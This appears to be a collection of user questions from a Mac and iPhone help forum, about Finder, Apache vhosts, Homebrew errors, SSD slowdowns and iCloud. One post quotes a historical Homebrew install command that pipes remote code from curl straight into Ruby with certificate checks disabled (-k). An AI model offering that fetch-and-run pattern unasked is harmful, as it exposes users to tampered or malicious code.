It is now updating


texts: Google Docs don't open from Finder in High Sierra

texts:
Since updating from macOS 10.12 to 10.13, Google Docs links in Finder no longer open in the default browser (or anywhere). Double-clikcing triggers the opening animation, but that's it.

How do I restore the document opening functionality I had in 10.12?


texts:
On my iMac, I keep a lot of supervision windows (displaying alarms
and trends).
These windows lead to priviledged access to very sensitive equipments.
I would like to protect this iMac from any accidental typing on the keyboard or mouse mouve, and password protect it from any other local
access.

I would like to be able to start my screen saver (which will lock
my mouse and keyboard by asking my password),
but to keep a full acces to the actual display.

Is there any way to make a transparent locked screen?


texts: Texting without an assigned phone number

texts: I have an iPhone 5C that is no longer connected to a service plan. I have given it to my son to use as an iPod-type device. I have an Android phone. Can he text me on my Android from the non-connected iPhone?


texts: Auto Adding from Google Chrome to macOS Notes

texts:
How do I make it possible to add stuff (text, links, images) from Google Chrome to macOS Notes app?

(It's available on right click or through extension to Evernote, Milanote, and so on, but not for the built-in Apple's Notes app)

Tried creating a service but failed.


texts: Unable to re-purchase an app after reporting and getting refunded by Apple

texts:
How do you buy an app on the Mac App Store that you purchased but asked for a refund from Apple? I purchased an app that I reported and got refunded for due to an issue, but the developer eventually fixed the problem in question.  I would like to purchase the app again.

I just have an Update button when I go to the app listing and I get the following error when I click on it.

This update is not available for this Apple ID either because it was bought by a different user or the item was refunded or cancelled.

I don't see any option to purchase the app again.


texts: Looking for replacement surface mount component in MacBook Air (A1466) mainboard

texts:
After liquid damage my backlight was broken. So I had to change the D68B chip.

After the replacement I lost a device. Please see below link for the photo of the diode/resistor/whatever I'm looking for on the motherboard.

It is a motherboard of a Macbook Air A1466 EMC 2925 Early 2015.

I need to replace it but I don't know the specs. Is there a diagram sheet?


texts: How to refresh Messages on Mac after hibernation?

texts:
I've set up iMessage on my iPhone correctly (apple id) with Messages on my Mac (OSX Mountain Lion), and it syncs.

But the syncing isn't flawless.. Everytime I wake up my Mac after hibernation, it won't update my messages. I first have to restart the app a few times, to get all my messages. Sometimes even the order of the messages isn't correct.

From my experience the syncing is still quite buggy.

Does anyone have the same issues, and maybe a workaround?

ps: I don't use wifi on my Mac, if that's relevant.


texts:
I changed my e-mail from hotmail to gmail during 2013.

I want my Apple id to follow that.

The old email account is still there when I configured my iPhone 5s and tryied to install my icloud and phone settings.

The new phone wants both apple ids. Why?

Question : How do I remove my old Apple-id from my phone?


texts: What did the 10.8.2 update do to break an AMP stack's vhosts?

texts:
I updated from 10.8.1 to 10.8.2 last week and since then I have yet to get certain vhosts working on my local sandbox. Some of them work fine while others just don't work at all now when they did previously. Is there anything I can do to get those working again?

Working Vhost:

<VirtualHost *:80>
    DocumentRoot "/Users/reindeerdev/Sites/patron-social-club-v2-old/app/webroot"
    ServerName pscv2.local
    ErrorLog "/private/var/log/apache2/pscv2-error_log"
    CustomLog "/private/var/log/apache2/pscv2-access_log" common
    <Directory /Users/reindeerdev/Sites/patron-social-club-v2-old/app/webroot>
        Options All
        AllowOverride All
        Order allow,deny
        Allow from all
    </Directory>
</VirtualHost>

Problematic Vhost:

<VirtualHost *:80>
    DocumentRoot "/Users/reindeerdev/Sites/Patron_Intranet/app/webroot"
    ServerName intranet.local
    ErrorLog "/private/var/log/apache2/intranet-error_log"
    CustomLog "/private/var/log/apache2/intranet-access_log" common
    <Directory /Users/reindeerdev/Sites/Patron_Intranet/app/webroot>
        Options All
        AllowOverride All
    </Directory>
</VirtualHost>

Finally saw something in my Apache configs:

[Tue Oct 16 10:52:03 2012] [warn] Init: Session Cache is not configured [hint: SSLSessionCache]
httpd: Could not reliably determine the server's fully qualified domain name, using Logans-iMac.local for ServerName
[Tue Oct 16 10:52:06 2012] [warn] NameVirtualHost *:80 has no VirtualHosts
[Tue Oct 16 10:52:09 2012] [notice] Digest: generating secret for digest authentication ...
[Tue Oct 16 10:52:09 2012] [notice] Digest: done
[Tue Oct 16 10:52:09 2012] [notice] Apache/2.2.22 (Unix) PHP/5.3.15 with Suhosin-Patch DAV/2 mod_ssl/2.2.22 OpenSSL/0.9.8r mod_perl/2.0.5 Perl/v5.12.4 configured -- resuming normal operations

I know for a fact that I have Include /etc/apache2/other/httpd-vhosts.conf in my httpd.conf file and that I have confirmed that that is the correct vhosts file that I'm using.


texts: Any ideas why my copy and paste are acting weird?

texts:
I'm on a Macbook Pro (mid-2009) running Lion 10.7.4. Everything has been awesome these past few years, but something weird started happening a month ago: my copy/paste has been acting oddly. Sometimes I copy text and when I paste, it would be something I had copied earlier. I chalked this up to an incorrect keystroke on my part. But even when I pay attention closely this still happens somewhat infrequently.

Even more bizarre is when I cut text (just to be sure my keystrokes worked), I would see the text disappear, but when I paste what's in the clipboard, it would paste something older. huh? I'd then have to undo a few times to restore the text I cut out.

I've ruled out hardware issues with my keyboard since this happens even when I do it with my mouse (using PopClip which pops up iOS style copy/paste buttons).

I am not running any clipboard utilities so I am stumped. If this is a hardware issue, I'd love to know that soon because my AppleCare runs out in a few weeks. Thanks for any tips or leads.


texts: Apple Pencil app without any analytics or syncing or network use

texts:
I am looking for an Apple Pencil app that does not go to the internet for any reason.

I want the convenience of the Apple Pencil.
I don’t want data syncing of any sort
Same with any analytics

The primary goal is no potential for my notes to be seen by a third party.

What apps allow note taking with these requirements?


texts: How does the defaults domain ‘Network’ work? (/Network/Library/Preferences/)

texts:
How does the Network preference/defaults domain work on Mac OS? I see it referenced in a lot of Apple documentation, but I don’t understand this particular preference domain.

I get the user defaults in ~/Library/Preferences, and the administrator-provided defaults in /Library/Preferences. But the Network domain puzzles me.

  The preferences system stores preference data in files located in the Library/Preferences folder in the appropriate file-system domain. For example, if the preference applies to a single user, the file is written to the Library/Preferences folder in the user’s home directory. If the preference applies to all users on a network, it goes in /Network/Library/Preferences. (source)

Can anyone reference some use-case based documentation? or explain how it works?

Will other Macs on the same network magically start respecting the Network preferences?


texts:
I currently have Mac OS X Mavericks.  When I try to download Yosemite from the App Store the file begins to download and shows an estimated time.  After a few minutes the file stops downloading and the estimated time is now replaced by "calculating".  After calculating for a minute or so the App Store stops trying to download and shows an error has occurred.

I have deleted the file and started fresh several times and restarted my computer each time ending up with the same error each time.

All of my updates have been installed.

Please help!


texts: HP LaserJet 1018 macOS Mojave and Catalina USB driver

texts:
it seems that HP abandoned old cheap, but very functional and small printers like HP LaserJet 1018.

Posting this question to share solution, that allows extend usability of normally functioning hardware, not to buy new unneeded one, save resources and planet.


texts:
I use Firefox and Chrome as my main navigators, but I use sometimes Safari to test some developments.

On Firefox and Chrome, typing an URL in the address bar and then pressing Alt + Return makes a new tab to be opened.

On Safari, typing an URL in the address bar and then pressing Alt + Return makes the target address saved to a file (which annoys me because it makes an unuseful file in my Download folder).

To open a new tab after typing the address, I have to use the Cmd + Return.

I wonder if it is possible to swap cmd and alt key only for Safari (not other apps) and how to do this, or at least make Safari open a new tab when I press Alt+Return in the address bar.

One last thing: I am on Mavericks

Any idea ?


texts: I've my column in format dd/mm/yyyy and I would like to sort them by date. But I can't find any way of sorting the column by date. If I Sort Ascending, it doesn't recognise that the rows have the date formats. Any easy way of doing that?


texts: How can I make the up arrow work in Terminal's nslookup command?

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When I open terminal, I'd like the up arrow go to the last command I typed within nslookup. Instead, I get a strange escape sequence.

What must be done to allow me to up arrow in nslookup?


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I started installing Homebrew on my Mac Lion v10.7.4 but got the following error.

==> Downloading and Installing Homebrew...
Failed during: Error: /usr/bin/xcode-select returned unexpected error. init -q

I ran the following command as mentioned on Homebrew website:

ruby -e "$(curl -fsSkL raw.github.com/mxcl/homebrew/go)"

I tried to search for solutions for this error but nothing relevant came up. How can this be fixed?

Thanks.


texts: Laggy write/read performance w/ Samsung 850 evo 1TB on mid-2012 Macbook Pro 10.12.6 Sierra

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Here's a weird one: after a Samsung 840 pro 512gb has defaulted this week (applications didn't open, files couldn't be accessed any longer), I bought a Samsung evo 1TB SSD and installed it in my Macbook Pro. I restored from a time machine backup which worked fine.

The issue now is this: Using Blackmagic, I see appropriate write speeds, but only about half of the time (around 500MB/s write and read). The other half it's hovering around 200-300, and performance in general is worse than with the older Samsung 840 pro I had installed before.

When opening Finder windows and performing simple tasks I notice a lag that occasionally occurs, making the system as a whole sluggish and slow. Here's a youtube video showing the issue when using Blackmagic (any visible lag is from my system, not the video recording):

https://youtu.be/AX9bZSZvIRc

Has anybody experienced similar issues or does anybody have an idea what could be the root cause?

Some more info:

Trim is enabled
Disk utility does not show any issues
I have run both Onyx and TechTool Pro 9 to resolve any common issues such as partition map verification, ownership rights etc.
the only thing I have noticed is that the inspector window shows that my user account does not have write access to the ssd (see image below), when I try to change that it says "The operation cannot be completed because you don't have the necessary permission", which is weird since I am the admin. Could it be related to this, and how would I got about changing that?

I am thankful for any hints, what other components could be the bottleneck here? Maybe the connection cable of the SSD to the motherboard? A faulty SSD controller chip?

Here's the Ethrecheck file:

EtreCheck version: 3.4.2 (436)
Report generated 2017-08-18 18:53:19
Download EtreCheck from https://etrecheck.com
Runtime: 4:00
Performance: Good

Hardware Information: ⓘ
    MacBook Pro (13-inch, Mid 2012)
    [Technical Specifications] - [User Guide] - [Warranty & Service]
    MacBook Pro - model: MacBookPro9,2
    1 2,9 GHz Intel Core i7 (i7-3520M) CPU: 2-core
    16 GB RAM Upgradeable - [Instructions]
        BANK 0/DIMM0
            8 GB DDR3 1600 MHz ok
        BANK 1/DIMM0
            8 GB DDR3 1600 MHz ok
    Bluetooth: Good - Handoff/Airdrop2 supported
    Wireless:  en1: 802.11 a/b/g/n
    Battery: Health = Normal - Cycle count = 34

Video Information: ⓘ
    Intel HD Graphics 4000 - VRAM: 1536 MB
        Color LCD 2560 x 1440
        DELL U2713HM 2560 x 1440 @ 59 Hz

Disk Information: ⓘ
    Samsung SSD 850 EVO 1TB disk0: (1 TB) (Solid State - TRIM: Yes)
    [Show SMART report]
        EFI (disk0s1 - MS-DOS FAT32) <not mounted>  [EFI]: 210 MB
        (disk0s2) <not mounted>  [CoreStorage Container]: 999.35 GB
        Recovery HD (disk0s3 - Journaled HFS+) <not mounted>  [Recovery]: 650 MB

    ST1000LM024 HN-M101MBB disk1: (1 TB) (Rotational)
    [Show SMART report]
        EFI (disk1s1 - MS-DOS FAT32) <not mounted>  [EFI]: 210 MB
        HDD (disk1s2 - Journaled HFS+) /Volumes/HDD : 500.10 GB (76.47 GB free)
        HDD2 (disk1s3 - Journaled HFS+) /Volumes/HDD2 : 499.62 GB (4.67 GB free)

Virtual disks: ⓘ
    SSD (disk2 - Journaled HFS+) /  [Startup]: 998.98 GB (463.40 GB free)
        Physical disk: disk0s2 999.35 GB Online

System Software: ⓘ
    macOS Sierra  10.12.6 (16G29) - Time since boot: about one hour

Top Processes by Memory: ⓘ
    1.35 GB     kernel_task
    458 MB      Google Chrome Helper
    392 MB      Google Chrome Helper
    389 MB      Google Chrome Helper
    375 MB      Google Chrome Helper

Top Processes by Network Use: ⓘ
    Input       Output      Process name
    169 MB      43 MB       openvpn
    76 KB       36 KB       mDNSResponder
    28 KB       52 KB       usbmuxd
    9 KB        5 KB        netbiosd
    96 B        96 B        ntpd

Top Processes by Energy Use: ⓘ
     16.28  Google Chrome Helper
     15.90  WindowServer
     12.36  Google Chrome
      7.86  Google Chrome Helper


texts: How to copy and paste Javascript code from a PDF file to a texteditor (Textmate or Sublime Text)

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Everytime, I want to copy and paste one Javascript code example from a book (in a pdf version) to Sublime Text or Textmate, any " " become “ ” >> the code doesn't work.

Is there any way to fix this ?

Thanks in advance.

Config: OSX Lion,
PDF reader : Skim

Update: For Textmate. the solution is here.


texts: There was a question about removing the Flashback malware from your OS X machine, but I'm still not clear on what it does. What exactly does the Flashback malware do once it is installed on your Mac?


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Under the 'settings' -> 'mail contacts calendars' -> gmail

there is no option to sync the contacts

what's the workaround?


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What happens with my iCloud data after leaving family sharing?

Eg I will add 50gb of data and then I will be kicked out but not all the data is on my iPhone.


texts: Can't listen to music with iPhone speaker

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I am using an iPhone 4 running ios 7.1.1. Recently, I've had a very frustrating problem, and it is not being able to listen to music with speaker. I'm pretty sure the speaker isn't broken because I can use it for alarms. Also, in my voice memos, the sound works although I have to click that speaker button on the top right corner so that the sound would come out of the speaker instead of the earpiece (top speaker).

When listening to music, there is completely no sound, and I can't adjust the volumes. Here's a screenshot of my music.

I think the problem first occurred after recording with my voice memos and syncing my phone to iTunes to transfer my recording from my phone to PC. After that, there's just no sound coming out of my phone speaker. The music works when i'm using earphones. It's still frustrating though. Any suggestions?


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Is there any way to customise the right click mouse menu that pops up over a highlighted word or phrase?

I normally use Firefox, occasionally Safari or Brave.  Normally DuckDuckGo to search, occasionally Google.

But if I highlight something, for example in an iMessage, and right click I'll always get "Search Google for ...." if search is set to Google in Safari.  Or "Search DuckDuckGo for .... " if that's how Safari is set.

So at the very least I'd like two options available - for two different search engines as in "Search Google for ...."/"Search DuckDuckGo for .... ".

Valhalla would be the ability to select the browser too.

Is it possible?

Thanks in advance.


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I've a 500GB external drive. First partition is 199.58GB (blue) and the second partition is 277.4GB (pink). I use this drive in my Windows 10 laptop before this and both partition are GPT type.

I already format first partition and it's now empty. The second partition contains lots of important data and I don't want to format it because I don't have backup of them.

When I connect the drive with my Mac (I'm running on OSX 10.11.4), I can see that the total drive size is 500GB like below:

But, only first partition appeared and I can't see the second partition (GPT) one.

What should I do now to read and access that GPT partition? Please help.

UPDATE

Running diskutil list command from terminal give me this. I believe that Microsoft Reserved is the partition that I'm looking for: